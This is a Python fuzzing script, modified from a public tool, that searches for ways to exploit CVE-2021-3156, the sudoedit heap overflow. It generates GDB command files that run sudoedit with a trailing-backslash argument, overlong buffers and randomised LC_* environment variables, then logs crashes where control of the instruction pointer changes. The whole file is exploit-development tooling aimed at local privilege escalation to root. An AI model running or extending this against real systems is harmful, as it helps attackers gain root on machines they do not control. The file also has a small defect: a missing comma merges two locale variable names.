#!/usr/bin/env python3

# bruteforcer to identify attack vectors for CVE-2021-3156

# modified version of fuzz.py by @bl4sty

import os
import random
import re
import sys

MAX_U_ARG = 100
MAX_BOF_ = 500

BLACKLIST = []
PC_LIST = []

ARGV_OPT_ = ['', ' -A ', ' -n ', ' -u root ', ' -u lockedbyte ', '-u fake ']

SUFFIX=int(sys.argv[1])
GDB_CMD_F = 'run.cmd.%d' % SUFFIX

LOG_F_N = 'out/log.txt.%n%'
LOG_BAK_F = 'out/bak.txt.'

'''
declare -x LC_ADDRESS="C.UTF-8"
declare -x LC_IDENTIFICATION="C.UTF-8"
declare -x LC_MEASUREMENT="C.UTF-8"
declare -x LC_MONETARY="C.UTF-8"
declare -x LC_NAME="C.UTF-8"
declare -x LC_NUMERIC="C.UTF-8"
declare -x LC_PAPER="C.UTF-8"
declare -x LC_TELEPHONE="C.UTF-8"
declare -x LC_TIME="C.UTF-8"
declare -x LC_MESSAGES="C.UTF-8"
'''

LC_ENV = ['LC_ADDRESS', 'LC_IDENTIFICATION', 'LC_MEASUREMENT', 'LC_MONETARY'
	'LC_NAME', 'LC_NUMERIC', 'LC_PAPER', 'LC_TELEPHONE', 'LC_TIME', 'LC_MESSAGES']

stat_val = 'C.UTF-8'

def genrnd(n, t = 'all'):
    if(t == 'all'):
        alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        alphabet += alphabet.lower()
        alphabet += '1234567890'
        #alphabet += '!|@#$%&/()=?+[]{}-_.:,;<>\\'
    else:
        alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        alphabet += alphabet.lower()

    out = 'A'
    n -= 1
    for _ in range(n):
        out += alphabet[random.randint(0, len(alphabet)-1)]
    return out

def get_env_stuff():
    already = []
    append_r = ''
    n_vars = random.randint(0, len(LC_ENV))
    for _ in range(n_vars):
        while(True):
            idx = random.randint(0, len(LC_ENV)-1)
            if(idx not in already):
                break
        already.append(idx)
        which = LC_ENV[idx]
        n_x = random.randint(1, 100)
        add_bl = random.randint(1, 10)
        if(add_bl == 7):
            append_r += 'set env ' + which + ' ' + stat_val + '@' + genrnd(n_x) + '\\' + '\n'
        else:
            append_r += 'set env ' + which + ' ' + stat_val + '@' + genrnd(n_x) + '\n'
        add_bl_x = random.randint(1, 10)
        if(add_bl_x == 7):
            for __ in range(random.randint(1,5)):
                append_r += 'set env ' + genrnd(random.randint(1,5)) + ' ' + genrnd(random.randint(1,5)) + '\\\n'
    return append_r

def perform_init(user_n, bof_n, opt, n, env_stuff):
    global PC_LIST
    print('[*] Round #' + str(n))

    out_f = LOG_F_N.replace('%n%', "%02d_%08d" % (SUFFIX, n))

    chk_bof = 'B'*bof_n
    chk_u = 'A'*user_n

    f_gdb_c = '''file /usr/bin/sudoedit
'''+env_stuff+'''
set pagination off
r ''' + opt + ''' -s \'''' + chk_u + '''\\' \'''' + chk_bof + '''\'
i r
x/i $pc
q
'''
    f = open(GDB_CMD_F, 'w')
    f.write(f_gdb_c)
    f.close()

    GDB_RES = "/tmp/gdb.result.%d" % SUFFIX
    os.system('sudo env -i gdb < ' + GDB_CMD_F + ' > '+GDB_RES+' 2>&1')

    gdb_result = open(GDB_RES, "r").read()

    blacklisted = False
    for word in BLACKLIST:
        if word in gdb_result:
            blacklisted = True
            break
    if not blacklisted:
        pc = re.findall(r"=> (0x[0-9a-f]+)", gdb_result)
        print(pc)
        skip_pc = False
        if len(pc) == 1:
            if pc[0] not in PC_LIST:
                print("*** FOUND NEW PC: %s" % pc[0])
                PC_LIST.append(pc[0])
            else:
                skip_pc = True

            if not skip_pc:
                print("*** GOT SOMETHING NICE MAYBE!")
                f2 = open(out_f, 'w')
                f2.write(f_gdb_c)
                f2.write("\n=======\n")
                f2.write(gdb_result)
                f2.close()

    n += 1

    return

def main():
    print('[*] Bruteforcing...')
    nx = 0
    while True:
        x = random.randint(5, MAX_BOF_)
        i = random.randint(1, MAX_U_ARG)
        n = ARGV_OPT_[random.randint(0, len(ARGV_OPT_)-1)]
        env_stuff = get_env_stuff()
        perform_init(i,x,n,nx,env_stuff)
        nx += 1

main()
print('[+] Bruteforce completed!')
